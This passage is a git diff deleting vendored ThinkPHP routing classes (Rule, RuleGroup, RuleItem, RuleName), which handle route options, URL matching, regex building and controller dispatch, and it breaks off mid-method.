$default = null) - { - $option = $this->option; - - if ($this->parent) { - $parentOption = $this->parent->getOption(); - - // 合并分组参数 - foreach ($this->mergeOptions as $item) { - if (isset($parentOption[$item]) && isset($option[$item])) { - $option[$item] = array_merge($parentOption[$item], $option[$item]); - } - } - - $option = array_merge($parentOption, $option); - } - - if ('' === $name) { - return $option; - } - - return $option[$name] ?? $default; - } - - /** - * 获取当前路由的请求类型 - * @access public - * @return string - */ - public function getMethod(): string - { - return strtolower($this->method); - } - - /** - * 设置路由请求类型 - * @access public - * @param string $method 请求类型 - * @return $this - */ - public function method(string $method) - { - return $this->setOption('method', strtolower($method)); - } - - /** - * 检查后缀 - * @access public - * @param string $ext URL后缀 - * @return $this - */ - public function ext(string $ext = '') - { - return $this->setOption('ext', $ext); - } - - /** - * 检查禁止后缀 - * @access public - * @param string $ext URL后缀 - * @return $this - */ - public function denyExt(string $ext = '') - { - return $this->setOption('deny_ext', $ext); - } - - /** - * 检查域名 - * @access public - * @param string $domain 域名 - * @return $this - */ - public function domain(string $domain) - { - $this->domain = $domain; - return $this->setOption('domain', $domain); - } - - /** - * 设置参数过滤检查 - * @access public - * @param array $filter 参数过滤 - * @return $this - */ - public function filter(array $filter) - { - $this->option['filter'] = $filter; - - return $this; - } - - /** - * 绑定模型 - * @access public - * @param array|string|Closure $var 路由变量名 多个使用 & 分割 - * @param string|Closure $model 绑定模型类 - * @param bool $exception 是否抛出异常 - * @return $this - */ - public function model($var, $model = null, bool $exception = true) - { - if ($var instanceof Closure) { - $this->option['model'][] = $var; - } elseif (is_array($var)) { - $this->option['model'] = $var; - } elseif (is_null($model)) { - $this->option['model']['id'] = [$var, true]; - } else { - $this->option['model'][$var] = [$model, $exception]; - } - - return $this; - } - - /** - * 附加路由隐式参数 - * @access public - * @param array $append 追加参数 - * @return $this - */ - public function append(array $append = []) - { - $this->option['append'] = $append; - - return $this; - } - - /** - * 绑定验证 - * @access public - * @param mixed $validate 验证器类 - * @param string $scene 验证场景 - * @param array $message 验证提示 - * @param bool $batch 批量验证 - * @return $this - */ - public function validate($validate, string $scene = null, array $message = [], bool $batch = false) - { - $this->option['validate'] = [$validate, $scene, $message, $batch]; - - return $this; - } - - /** - * 指定路由中间件 - * @access public - * @param string|array|Closure $middleware 中间件 - * @param mixed $params 参数 - * @return $this - */ - public function middleware($middleware, ...$params) - { - if (empty($params) && is_array($middleware)) { - $this->option['middleware'] = $middleware; - } else { - foreach ((array) $middleware as $item) { - $this->option['middleware'][] = [$item, $params]; - } - } - - return $this; - } - - /** - * 允许跨域 - * @access public - * @param array $header 自定义Header - * @return $this - */ - public function allowCrossDomain(array $header = []) - { - return $this->middleware(AllowCrossDomain::class, $header); - } - - /** - * 表单令牌验证 - * @access public - * @param string $token 表单令牌token名称 - * @return $this - */ - public function token(string $token = '__token__') - { - return $this->middleware(FormTokenCheck::class, $token); - } - - /** - * 设置路由缓存 - * @access public - * @param array|string $cache 缓存 - * @return $this - */ - public function cache($cache) - { - return $this->middleware(CheckRequestCache::class, $cache); - } - - /** - * 检查URL分隔符 - * @access public - * @param string $depr URL分隔符 - * @return $this - */ - public function depr(string $depr) - { - return $this->setOption('param_depr', $depr); - } - - /** - * 设置需要合并的路由参数 - * @access public - * @param array $option 路由参数 - * @return $this - */ - public function mergeOptions(array $option = []) - { - $this->mergeOptions = array_merge($this->mergeOptions, $option); - return $this; - } - - /** - * 检查是否为HTTPS请求 - * @access public - * @param bool $https 是否为HTTPS - * @return $this - */ - public function https(bool $https = true) - { - return $this->setOption('https', $https); - } - - /** - * 检查是否为JSON请求 - * @access public - * @param bool $json 是否为JSON - * @return $this - */ - public function json(bool $json = true) - { - return $this->setOption('json', $json); - } - - /** - * 检查是否为AJAX请求 - * @access public - * @param bool $ajax 是否为AJAX - * @return $this - */ - public function ajax(bool $ajax = true) - { - return $this->setOption('ajax', $ajax); - } - - /** - * 检查是否为PJAX请求 - * @access public - * @param bool $pjax 是否为PJAX - * @return $this - */ - public function pjax(bool $pjax = true) - { - return $this->setOption('pjax', $pjax); - } - - /** - * 路由到一个模板地址 需要额外传入的模板变量 - * @access public - * @param array $view 视图 - * @return $this - */ - public function view(array $view = []) - { - return $this->setOption('view', $view); - } - - /** - * 设置路由完整匹配 - * @access public - * @param bool $match 是否完整匹配 - * @return $this - */ - public function completeMatch(bool $match = true) - { - return $this->setOption('complete_match', $match); - } - - /** - * 是否去除URL最后的斜线 - * @access public - * @param bool $remove 是否去除最后斜线 - * @return $this - */ - public function removeSlash(bool $remove = true) - { - return $this->setOption('remove_slash', $remove); - } - - /** - * 设置路由规则全局有效 - * @access public - * @return $this - */ - public function crossDomainRule() - { - if ($this instanceof RuleGroup) { - $method = '*'; - } else { - $method = $this->method; - } - - $this->router->setCrossDomainRule($this, $method); - - return $this; - } - - /** - * 解析匹配到的规则路由 - * @access public - * @param Request $request 请求对象 - * @param string $rule 路由规则 - * @param mixed $route 路由地址 - * @param string $url URL地址 - * @param array $option 路由参数 - * @param array $matches 匹配的变量 - * @return Dispatch - */ - public function parseRule(Request $request, string $rule, $route, string $url, array $option = [], array $matches = []): Dispatch - { - if (is_string($route) && isset($option['prefix'])) { - // 路由地址前缀 - $route = $option['prefix'] . $route; - } - - // 替换路由地址中的变量 - $extraParams = true; - $search = $replace = []; - $depr = $this->router->config('pathinfo_depr'); - foreach ($matches as $key => $value) { - $search[] = '<' . $key . '>'; - $replace[] = $value; - - $search[] = ':' . $key; - $replace[] = $value; - - if (strpos($value, $depr)) { - $extraParams = false; - } - } - - if (is_string($route)) { - $route = str_replace($search, $replace, $route); - } - - // 解析额外参数 - if ($extraParams) { - $count = substr_count($rule, '/'); - $url = array_slice(explode('|', $url), $count + 1); - $this->parseUrlParams(implode('|', $url), $matches); - } - - $this->vars = $matches; - - // 发起路由调度 - return $this->dispatch($request, $route, $option); - } - - /** - * 发起路由调度 - * @access protected - * @param Request $request Request对象 - * @param mixed $route 路由地址 - * @param array $option 路由参数 - * @return Dispatch - */ - protected function dispatch(Request $request, $route, array $option): Dispatch - { - if (is_subclass_of($route, Dispatch::class)) { - $result = new $route($request, $this, $route, $this->vars); - } elseif ($route instanceof Closure) { - // 执行闭包 - $result = new CallbackDispatch($request, $this, $route, $this->vars); - } elseif (false !== strpos($route, '@') || false !== strpos($route, '::') || false !== strpos($route, '\\')) { - // 路由到类的方法 - $route = str_replace('::', '@', $route); - $result = $this->dispatchMethod($request, $route); - } else { - // 路由到控制器/操作 - $result = $this->dispatchController($request, $route); - } - - return $result; - } - - /** - * 解析URL地址为 模块/控制器/操作 - * @access protected - * @param Request $request Request对象 - * @param string $route 路由地址 - * @return CallbackDispatch - */ - protected function dispatchMethod(Request $request, string $route): CallbackDispatch - { - $path = $this->parseUrlPath($route); - - $route = str_replace('/', '@', implode('/', $path)); - $method = strpos($route, '@') ? explode('@', $route) : $route; - - return new CallbackDispatch($request, $this, $method, $this->vars); - } - - /** - * 解析URL地址为 模块/控制器/操作 - * @access protected - * @param Request $request Request对象 - * @param string $route 路由地址 - * @return ControllerDispatch - */ - protected function dispatchController(Request $request, string $route): ControllerDispatch - { - $path = $this->parseUrlPath($route); - - $action = array_pop($path); - $controller = !empty($path) ? array_pop($path) : null; - - // 路由到模块/控制器/操作 - return new ControllerDispatch($request, $this, [$controller, $action], $this->vars); - } - - /** - * 路由检查 - * @access protected - * @param array $option 路由参数 - * @param Request $request Request对象 - * @return bool - */ - protected function checkOption(array $option, Request $request): bool - { - // 请求类型检测 - if (!empty($option['method'])) { - if (is_string($option['method']) && false === stripos($option['method'], $request->method())) { - return false; - } - } - - // AJAX PJAX 请求检查 - foreach (['ajax', 'pjax', 'json'] as $item) { - if (isset($option[$item])) { - $call = 'is' . $item; - if ($option[$item] && !$request->$call() || !$option[$item] && $request->$call()) { - return false; - } - } - } - - // 伪静态后缀检测 - if ($request->url() != '/' && ((isset($option['ext']) && false === stripos('|' . $option['ext'] . '|', '|' . $request->ext() . '|')) - || (isset($option['deny_ext']) && false !== stripos('|' . $option['deny_ext'] . '|', '|' . $request->ext() . '|')))) { - return false; - } - - // 域名检查 - if ((isset($option['domain']) && !in_array($option['domain'], [$request->host(true), $request->subDomain()]))) { - return false; - } - - // HTTPS检查 - if ((isset($option['https']) && $option['https'] && !$request->isSsl()) - || (isset($option['https']) && !$option['https'] && $request->isSsl())) { - return false; - } - - // 请求参数检查 - if (isset($option['filter'])) { - foreach ($option['filter'] as $name => $value) { - if ($request->param($name, '', null) != $value) { - return false; - } - } - } - - return true; - } - - /** - * 解析URL地址中的参数Request对象 - * @access protected - * @param string $rule 路由规则 - * @param array $var 变量 - * @return void - */ - protected function parseUrlParams(string $url, array &$var = []): void - { - if ($url) { - preg_replace_callback('/(\w+)\|([^\|]+)/', function ($match) use (&$var) { - $var[$match[1]] = strip_tags($match[2]); - }, $url); - } - } - - /** - * 解析URL的pathinfo参数 - * @access public - * @param string $url URL地址 - * @return array - */ - public function parseUrlPath(string $url): array - { - // 分隔符替换 确保路由定义使用统一的分隔符 - $url = str_replace('|', '/', $url); - $url = trim($url, '/'); - - if (strpos($url, '/')) { - // [控制器/操作] - $path = explode('/', $url); - } else { - $path = [$url]; - } - - return $path; - } - - /** - * 生成路由的正则规则 - * @access protected - * @param string $rule 路由规则 - * @param array $match 匹配的变量 - * @param array $pattern 路由变量规则 - * @param array $option 路由参数 - * @param bool $completeMatch 路由是否完全匹配 - * @param string $suffix 路由正则变量后缀 - * @return string - */ - protected function buildRuleRegex(string $rule, array $match, array $pattern = [], array $option = [], bool $completeMatch = false, string $suffix = ''): string - { - foreach ($match as $name) { - $replace[] = $this->buildNameRegex($name, $pattern, $suffix); - } - - // 是否区分 / 地址访问 - if ('/' != $rule) { - if (!empty($option['remove_slash'])) { - $rule = rtrim($rule, '/'); - } elseif (substr($rule, -1) == '/') { - $rule = rtrim($rule, '/'); - $hasSlash = true; - } - } - - $regex = str_replace(array_unique($match), array_unique($replace), $rule); - $regex = str_replace([')?/', ')/', ')?-', ')-', '\\\\/'], [')\/', ')\/', ')\-', ')\-', '\/'], $regex); - - if (isset($hasSlash)) { - $regex .= '\/'; - } - - return $regex . ($completeMatch ? '$' : ''); - } - - /** - * 生成路由变量的正则规则 - * @access protected - * @param string $name 路由变量 - * @param array $pattern 变量规则 - * @param string $suffix 路由正则变量后缀 - * @return string - */ - protected function buildNameRegex(string $name, array $pattern, string $suffix): string - { - $optional = ''; - $slash = substr($name, 0, 1); - - if (in_array($slash, ['/', '-'])) { - $prefix = '\\' . $slash; - $name = substr($name, 1); - $slash = substr($name, 0, 1); - } else { - $prefix = ''; - } - - if ('<' != $slash) { - return $prefix . preg_quote($name, '/'); - } - - if (strpos($name, '?')) { - $name = substr($name, 1, -2); - $optional = '?'; - } elseif (strpos($name, '>')) { - $name = substr($name, 1, -1); - } - - if (isset($pattern[$name])) { - $nameRule = $pattern[$name]; - if (0 === strpos($nameRule, '/') && '/' == substr($nameRule, -1)) { - $nameRule = substr($nameRule, 1, -1); - } - } else { - $nameRule = $this->router->config('default_route_pattern'); - } - - return '(' . $prefix . '(?<' . $name . $suffix . '>' . $nameRule . '))' . $optional; - } - - /** - * 设置路由参数 - * @access public - * @param string $method 方法名 - * @param array $args 调用参数 - * @return $this - */ - public function __call($method, $args) - { - if (count($args) > 1) { - $args[0] = $args; - } - array_unshift($args, $method); - - return call_user_func_array([$this, 'setOption'], $args); - } - - public function __sleep() - { - return ['name', 'rule', 'route', 'method', 'vars', 'option', 'pattern']; - } - - public function __wakeup() - { - $this->router = Container::pull('route'); - } - - public function __debugInfo() - { - return [ - 'name' => $this->name, - 'rule' => $this->rule, - 'route' => $this->route, - 'method' => $this->method, - 'vars' => $this->vars, - 'option' => $this->option, - 'pattern' => $this->pattern, - ]; - } -} diff --git a/vendor/topthink/framework/src/think/route/RuleGroup.php b/vendor/topthink/framework/src/think/route/RuleGroup.php deleted file mode 100644 index 94bf2b9..0000000 --- a/vendor/topthink/framework/src/think/route/RuleGroup.php +++ /dev/null @@ -1,505 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\route; - -use Closure; -use think\Container; -use think\Exception; -use think\Request; -use think\Route; - -/** - * 路由分组类 - */ -class RuleGroup extends Rule -{ - /** - * 分组路由(包括子分组) - * @var array - */ - protected $rules = []; - - /** - * 分组路由规则 - * @var mixed - */ - protected $rule; - - /** - * MISS路由 - * @var RuleItem - */ - protected $miss; - - /** - * 完整名称 - * @var string - */ - protected $fullName; - - /** - * 分组别名 - * @var string - */ - protected $alias; - - /** - * 架构函数 - * @access public - * @param Route $router 路由对象 - * @param RuleGroup $parent 上级对象 - * @param string $name 分组名称 - * @param mixed $rule 分组路由 - */ - public function __construct(Route $router, RuleGroup $parent = null, string $name = '', $rule = null) - { - $this->router = $router; - $this->parent = $parent; - $this->rule = $rule; - $this->name = trim($name, '/'); - - $this->setFullName(); - - if ($this->parent) { - $this->domain = $this->parent->getDomain(); - $this->parent->addRuleItem($this); - } - - if ($router->isTest()) { - $this->lazy(false); - } - } - - /** - * 设置分组的路由规则 - * @access public - * @return void - */ - protected function setFullName(): void - { - if (false !== strpos($this->name, ':')) { - $this->name = preg_replace(['/\[\:(\w+)\]/', '/\:(\w+)/'], ['<\1?>', '<\1>'], $this->name); - } - - if ($this->parent && $this->parent->getFullName()) { - $this->fullName = $this->parent->getFullName() . ($this->name ? '/' . $this->name : ''); - } else { - $this->fullName = $this->name; - } - - if ($this->name) { - $this->router->getRuleName()->setGroup($this->name, $this); - } - } - - /** - * 获取所属域名 - * @access public - * @return string - */ - public function getDomain(): string - { - return $this->domain ?: '-'; - } - - /** - * 获取分组别名 - * @access public - * @return string - */ - public function getAlias(): string - { - return $this->alias ?: ''; - } - - /** - * 检测分组路由 - * @access public - * @param Request $request 请求对象 - * @param string $url 访问地址 - * @param bool $completeMatch 路由是否完全匹配 - * @return Dispatch|false - */ - public function check(Request $request, string $url, bool $completeMatch = false) - { - // 检查分组有效性 - if (!$this->checkOption($this->option, $request) || !$this->checkUrl($url)) { - return false; - } - - // 解析分组路由 - if ($this instanceof Resource) { - $this->buildResourceRule(); - } else { - $this->parseGroupRule($this->rule); - } - - // 获取当前路由规则 - $method = strtolower($request->method()); - $rules = $this->getRules($method); - $option = $this->getOption(); - - if (isset($option['complete_match'])) { - $completeMatch = $option['complete_match']; - } - - if (!empty($option['merge_rule_regex'])) { - // 合并路由正则规则进行路由匹配检查 - $result = $this->checkMergeRuleRegex($request, $rules, $url, $completeMatch); - - if (false !== $result) { - return $result; - } - } - - // 检查分组路由 - foreach ($rules as $key => $item) { - $result = $item[1]->check($request, $url, $completeMatch); - - if (false !== $result) { - return $result; - } - } - - if ($this->miss && in_array($this->miss->getMethod(), ['*', $method])) { - // 未匹配所有路由的路由规则处理 - $result = $this->parseRule($request, '', $this->miss->getRoute(), $url, $this->miss->getOption()); - } else { - $result = false; - } - - return $result; - } - - /** - * 分组URL匹配检查 - * @access protected - * @param string $url URL - * @return bool - */ - protected function checkUrl(string $url): bool - { - if ($this->fullName) { - $pos = strpos($this->fullName, '<'); - - if (false !== $pos) { - $str = substr($this->fullName, 0, $pos); - } else { - $str = $this->fullName; - } - - if ($str && 0 !== stripos(str_replace('|', '/', $url), $str)) { - return false; - } - } - - return true; - } - - /** - * 设置路由分组别名 - * @access public - * @param string $alias 路由分组别名 - * @return $this - */ - public function alias(string $alias) - { - $this->alias = $alias; - $this->router->getRuleName()->setGroup($alias, $this); - - return $this; - } - - /** - * 延迟解析分组的路由规则 - * @access public - * @param bool $lazy 路由是否延迟解析 - * @return $this - */ - public function lazy(bool $lazy = true) - { - if (!$lazy) { - $this->parseGroupRule($this->rule); - $this->rule = null; - } - - return $this; - } - - /** - * 解析分组和域名的路由规则及绑定 - * @access public - * @param mixed $rule 路由规则 - * @return void - */ - public function parseGroupRule($rule): void - { - $origin = $this->router->getGroup(); - $this->router->setGroup($this); - - if ($rule instanceof \Closure) { - Container::getInstance()->invokeFunction($rule); - } elseif (is_string($rule) && $rule) { - $this->router->bind($rule, $this->domain); - } - - $this->router->setGroup($origin); - } - - /** - * 检测分组路由 - * @access public - * @param Request $request 请求对象 - * @param array $rules 路由规则 - * @param string $url 访问地址 - * @param bool $completeMatch 路由是否完全匹配 - * @return Dispatch|false - */ - protected function checkMergeRuleRegex(Request $request, array &$rules, string $url, bool $completeMatch) - { - $depr = $this->router->config('pathinfo_depr'); - $url = $depr . str_replace('|', $depr, $url); - $regex = []; - $items = []; - - foreach ($rules as $key => $val) { - $item = $val[1]; - if ($item instanceof RuleItem) { - $rule = $depr . str_replace('/', $depr, $item->getRule()); - if ($depr == $rule && $depr != $url) { - unset($rules[$key]); - continue; - } - - $complete = $item->getOption('complete_match', $completeMatch); - - if (false === strpos($rule, '<')) { - if (0 === strcasecmp($rule, $url) || (!$complete && 0 === strncasecmp($rule, $url, strlen($rule)))) { - return $item->checkRule($request, $url, []); - } - - unset($rules[$key]); - continue; - } - - $slash = preg_quote('/-' . $depr, '/'); - - if ($matchRule = preg_split('/[' . $slash . ']<\w+\??>/', $rule, 2)) { - if ($matchRule[0] && 0 !== strncasecmp($rule, $url, strlen($matchRule[0]))) { - unset($rules[$key]); - continue; - } - } - - if (preg_match_all('/[' . $slash . ']??/', $rule, $matches)) { - unset($rules[$key]); - $pattern = array_merge($this->getPattern(), $item->getPattern()); - $option = array_merge($this->getOption(), $item->getOption()); - - $regex[$key] = $this->buildRuleRegex($rule, $matches[0], $pattern, $option, $complete, '_THINK_' . $key); - $items[$key] = $item; - } - } - } - - if (empty($regex)) { - return false; - } - - try { - $result = preg_match('/^(?:' . implode('|', $regex) . ')/u', $url, $match); - } catch (\Exception $e) { - throw new Exception('route pattern error'); - } - - if ($result) { - $var = []; - foreach ($match as $key => $val) { - if (is_string($key) && '' !== $val) { - [$name, $pos] = explode('_THINK_', $key); - - $var[$name] = $val; - } - } - - if (!isset($pos)) { - foreach ($regex as $key => $item) { - if (0 === strpos(str_replace(['\/', '\-', '\\' . $depr], ['/', '-', $depr], $item), $match[0])) { - $pos = $key; - break; - } - } - } - - $rule = $items[$pos]->getRule(); - $array = $this->router->getRule($rule); - - foreach ($array as $item) { - if (in_array($item->getMethod(), ['*', strtolower($request->method())])) { - $result = $item->checkRule($request, $url, $var); - - if (false !== $result) { - return $result; - } - } - } - } - - return false; - } - - /** - * 获取分组的MISS路由 - * @access public - * @return RuleItem|null - */ - public function getMissRule(): ? RuleItem - { - return $this->miss; - } - - /** - * 注册MISS路由 - * @access public - * @param string|Closure $route 路由地址 - * @param string $method 请求类型 - * @return RuleItem - */ - public function miss($route, string $method = '*') : RuleItem - { - // 创建路由规则实例 - $ruleItem = new RuleItem($this->router, $this, null, '', $route, strtolower($method)); - - $ruleItem->setMiss(); - $this->miss = $ruleItem; - - return $ruleItem; - } - - /** - * 添加分组下的路由规则 - * @access public - * @param string $rule 路由规则 - * @param mixed $route 路由地址 - * @param string $method 请求类型 - * @return RuleItem - */ - public function addRule(string $rule, $route = null, string $method = '*'): RuleItem - { - // 读取路由标识 - if (is_string($route)) { - $name = $route; - } else { - $name = null; - } - - $method = strtolower($method); - - if ('' === $rule || '/' === $rule) { - $rule .= '$'; - } - - // 创建路由规则实例 - $ruleItem = new RuleItem($this->router, $this, $name, $rule, $route, $method); - - $this->addRuleItem($ruleItem, $method); - - return $ruleItem; - } - - /** - * 注册分组下的路由规则 - * @access public - * @param Rule $rule 路由规则 - * @param string $method 请求类型 - * @return $this - */ - public function addRuleItem(Rule $rule, string $method = '*') - { - if (strpos($method, '|')) { - $rule->method($method); - $method = '*'; - } - - $this->rules[] = [$method, $rule]; - - if ($rule instanceof RuleItem && 'options' != $method) { - $this->rules[] = ['options', $rule->setAutoOptions()]; - } - - return $this; - } - - /** - * 设置分组的路由前缀 - * @access public - * @param string $prefix 路由前缀 - * @return $this - */ - public function prefix(string $prefix) - { - if ($this->parent && $this->parent->getOption('prefix')) { - $prefix = $this->parent->getOption('prefix') . $prefix; - } - - return $this->setOption('prefix', $prefix); - } - - /** - * 合并分组的路由规则正则 - * @access public - * @param bool $merge 是否合并 - * @return $this - */ - public function mergeRuleRegex(bool $merge = true) - { - return $this->setOption('merge_rule_regex', $merge); - } - - /** - * 获取完整分组Name - * @access public - * @return string - */ - public function getFullName(): string - { - return $this->fullName ?: ''; - } - - /** - * 获取分组的路由规则 - * @access public - * @param string $method 请求类型 - * @return array - */ - public function getRules(string $method = ''): array - { - if ('' === $method) { - return $this->rules; - } - - return array_filter($this->rules, function ($item) use ($method) { - return $method == $item[0] || '*' == $item[0]; - }); - } - - /** - * 清空分组下的路由规则 - * @access public - * @return void - */ - public function clear(): void - { - $this->rules = []; - } -} diff --git a/vendor/topthink/framework/src/think/route/RuleItem.php b/vendor/topthink/framework/src/think/route/RuleItem.php deleted file mode 100644 index 3ca4885..0000000 --- a/vendor/topthink/framework/src/think/route/RuleItem.php +++ /dev/null @@ -1,330 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\route; - -use think\Exception; -use think\Request; -use think\Route; - -/** - * 路由规则类 - */ -class RuleItem extends Rule -{ - /** - * 是否为MISS规则 - * @var bool - */ - protected $miss = false; - - /** - * 是否为额外自动注册的OPTIONS规则 - * @var bool - */ - protected $autoOption = false; - - /** - * 架构函数 - * @access public - * @param Route $router 路由实例 - * @param RuleGroup $parent 上级对象 - * @param string $name 路由标识 - * @param string $rule 路由规则 - * @param string|\Closure $route 路由地址 - * @param string $method 请求类型 - */ - public function __construct(Route $router, RuleGroup $parent, string $name = null, string $rule = '', $route = null, string $method = '*') - { - $this->router = $router; - $this->parent = $parent; - $this->name = $name; - $this->route = $route; - $this->method = $method; - - $this->setRule($rule); - - $this->router->setRule($this->rule, $this); - } - - /** - * 设置当前路由规则为MISS路由 - * @access public - * @return $this - */ - public function setMiss() - { - $this->miss = true; - return $this; - } - - /** - * 判断当前路由规则是否为MISS路由 - * @access public - * @return bool - */ - public function isMiss(): bool - { - return $this->miss; - } - - /** - * 设置当前路由为自动注册OPTIONS - * @access public - * @return $this - */ - public function setAutoOptions() - { - $this->autoOption = true; - return $this; - } - - /** - * 判断当前路由规则是否为自动注册的OPTIONS路由 - * @access public - * @return bool - */ - public function isAutoOptions(): bool - { - return $this->autoOption; - } - - /** - * 获取当前路由的URL后缀 - * @access public - * @return string|null - */ - public function getSuffix() - { - if (isset($this->option['ext'])) { - $suffix = $this->option['ext']; - } elseif ($this->parent->getOption('ext')) { - $suffix = $this->parent->getOption('ext'); - } else { - $suffix = null; - } - - return $suffix; - } - - /** - * 路由规则预处理 - * @access public - * @param string $rule 路由规则 - * @return void - */ - public function setRule(string $rule): void - { - if ('$' == substr($rule, -1, 1)) { - // 是否完整匹配 - $rule = substr($rule, 0, -1); - - $this->option['complete_match'] = true; - } - - $rule = '/' != $rule ? ltrim($rule, '/') : ''; - - if ($this->parent && $prefix = $this->parent->getFullName()) { - $rule = $prefix . ($rule ? '/' . ltrim($rule, '/') : ''); - } - - if (false !== strpos($rule, ':')) { - $this->rule = preg_replace(['/\[\:(\w+)\]/', '/\:(\w+)/'], ['<\1?>', '<\1>'], $rule); - } else { - $this->rule = $rule; - } - - // 生成路由标识的快捷访问 - $this->setRuleName(); - } - - /** - * 设置别名 - * @access public - * @param string $name - * @return $this - */ - public function name(string $name) - { - $this->name = $name; - $this->setRuleName(true); - - return $this; - } - - /** - * 设置路由标识 用于URL反解生成 - * @access protected - * @param bool $first 是否插入开头 - * @return void - */ - protected function setRuleName(bool $first = false): void - { - if ($this->name) { - $this->router->setName($this->name, $this, $first); - } - } - - /** - * 检测路由 - * @access public - * @param Request $request 请求对象 - * @param string $url 访问地址 - * @param array $match 匹配路由变量 - * @param bool $completeMatch 路由是否完全匹配 - * @return Dispatch|false - */ - public function checkRule(Request $request, string $url, $match = null, bool $completeMatch = false) - { - // 检查参数有效性 - if (!$this->checkOption($this->option, $request)) { - return false; - } - - // 合并分组参数 - $option = $this->getOption(); - $pattern = $this->getPattern(); - $url = $this->urlSuffixCheck($request, $url, $option); - - if (is_null($match)) { - $match = $this->match($url, $option, $pattern, $completeMatch); - } - - if (false !== $match) { - return $this->parseRule($request, $this->rule, $this->route, $url, $option, $match); - } - - return false; - } - - /** - * 检测路由(含路由匹配) - * @access public - * @param Request $request 请求对象 - * @param string $url 访问地址 - * @param bool $completeMatch 路由是否完全匹配 - * @return Dispatch|false - */ - public function check(Request $request, string $url, bool $completeMatch = false) - { - return $this->checkRule($request, $url, null, $completeMatch); - } - - /** - * URL后缀及Slash检查 - * @access protected - * @param Request $request 请求对象 - * @param string $url 访问地址 - * @param array $option 路由参数 - * @return string - */ - protected function urlSuffixCheck(Request $request, string $url, array $option = []): string - { - // 是否区分 / 地址访问 - if (!empty($option['remove_slash']) && '/' != $this->rule) { - $this->rule = rtrim($this->rule, '/'); - $url = rtrim($url, '|'); - } - - if (isset($option['ext'])) { - // 路由ext参数 优先于系统配置的URL伪静态后缀参数 - $url = preg_replace('/\.(' . $request->ext() . ')$/i', '', $url); - } - - return $url; - } - - /** - * 检测URL和规则路由是否匹配 - * @access private - * @param string $url URL地址 - * @param array $option 路由参数 - * @param array $pattern 变量规则 - * @param bool $completeMatch 是否完全匹配 - * @return array|false - */ - private function match(string $url, array $option, array $pattern, bool $completeMatch) - { - if (isset($option['complete_match'])) { - $completeMatch = $option['complete_match']; - } - - $depr = $this->router->config('pathinfo_depr'); - - // 检查完整规则定义 - if (isset($pattern['__url__']) && !preg_match(0 === strpos($pattern['__url__'], '/') ? $pattern['__url__'] : '/^' . $pattern['__url__'] . ($completeMatch ? '$' : '') . '/', str_replace('|', $depr, $url))) { - return false; - } - - $var = []; - $url = $depr . str_replace('|', $depr, $url); - $rule = $depr . str_replace('/', $depr, $this->rule); - - if ($depr == $rule && $depr != $url) { - return false; - } - - if (false === strpos($rule, '<')) { - if (0 === strcasecmp($rule, $url) || (!$completeMatch && 0 === strncasecmp($rule . $depr, $url . $depr, strlen($rule . $depr)))) { - return $var; - } - return false; - } - - $slash = preg_quote('/-' . $depr, '/'); - - if ($matchRule = preg_split('/[' . $slash . ']?<\w+\??>/', $rule, 2)) { - if ($matchRule[0] && 0 !== strncasecmp($rule, $url, strlen($matchRule[0]))) { - return false; - } - } - - if (preg_match_all('/[' . $slash . ']??/', $rule, $matches)) { - $regex = $this->buildRuleRegex($rule, $matches[0], $pattern, $option, $completeMatch); - - try { - if (!preg_match('/^' . $regex . '/u', $url, $match)) { - return false; - } - } catch (\Exception $e) { - throw new Exception('route pattern error'); - } - - foreach ($match as $key => $val) { - if (is_string($key)) { - $var[$key] = $val; - } - } - } - - // 成功匹配后返回URL中的动态变量数组 - return $var; - } - - /** - * 设置路由所属分组(用于注解路由) - * @access public - * @param string $name 分组名称或者标识 - * @return $this - */ - public function group(string $name) - { - $group = $this->router->getRuleName()->getGroup($name); - - if ($group) { - $this->parent = $group; - $this->setRule($this->rule); - } - - return $this; - } -} diff --git a/vendor/topthink/framework/src/think/route/RuleName.php b/vendor/topthink/framework/src/think/route/RuleName.php deleted file mode 100644 index 5ddc7a7..0000000 --- a/vendor/topthink/framework/src/think/route/RuleName.php +++ /dev/null @@ -1,211 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\route; - -/** - * 路由标识管理类 - */ -class RuleName -{ - /** - * 路由标识 - * @var array - */ - protected $item = []; - - /** - * 路由规则 - * @var array - */ - protected $rule = []; - - /** - * 路由分组 - * @var array - */ - protected $group = []; - - /** - * 注册路由标识 - * @access public - * @param string $name 路由标识 - * @param RuleItem $ruleItem 路由规则 - * @param bool $first 是否优先 - * @return void - */ - public function setName(string $name, RuleItem $ruleItem, bool $first = false): void - { - $name = strtolower($name); - $item = $this->getRuleItemInfo($ruleItem); - if ($first && isset($this->item[$name])) { - array_unshift($this->item[$name], $item); - } else { - $this->item[$name][] = $item; - } - } - - /** - * 注册路由分组标识 - * @access public - * @param string $name 路由分组标识 - * @param RuleGroup $group 路由分组 - * @return void - */ - public function setGroup(string $name, RuleGroup $group): void - { - $this->group[strtolower($name)] = $group; - } - - /** - * 注册路由规则 - * @access public - * @param string $rule 路由规则 - * @param RuleItem $ruleItem 路由 - * @return void - */ - public function setRule(string $rule, RuleItem $ruleItem): void - { - $route = $ruleItem->getRoute(); - - if (is_string($route)) { - $this->rule[$rule][$route] = $ruleItem; - } else { - $this->rule[$rule][] = $ruleItem; - } - } - - /** - * 根据路由规则获取路由对象(列表) - * @access public - * @param string $rule 路由标识 - * @return RuleItem[] - */ - public function getRule(string $rule): array - { - return $this->rule[$rule] ?? []; - } - - /** - * 根据路由分组标识获取分组 - * @access public - * @param string $name 路由分组标识 - * @return RuleGroup|null - */ - public function getGroup(string $name) - { - return $this->group[strtolower($name)] ?? null; - } - - /** - * 清空路由规则 - * @access public - * @return void - */ - public function clear(): void - { - $this->item = []; - $this->rule = []; - } - - /** - * 获取全部路由列表 - * @access public - * @return array - */ - public function getRuleList(): array - { - $list = []; - - foreach ($this->rule as $rule => $rules) { - foreach ($rules as $item) { - $val = []; - - foreach (['method', 'rule', 'name', 'route', 'domain', 'pattern', 'option'] as $param) { - $call = 'get' . $param; - $val[$param] = $item->$call(); - } - - if ($item->isMiss()) { - $val['rule'] .= ''; - } - - $list[] = $val; - } - } - - return $list; - } - - /** - * 导入路由标识 - * @access public - * @param array $item 路由标识 - * @return void - */ - public function import(array $item): void - { - $this->item = $item; - } - - /** - * 根据路由标识获取路由信息(用于URL生成) - * @access public - * @param string $name 路由标识 - * @param string $domain 域名 - * @param string $method 请求类型 - * @return array - */ - public function getName(string $name = null, string $domain = null, string $method = '*'): array - { - 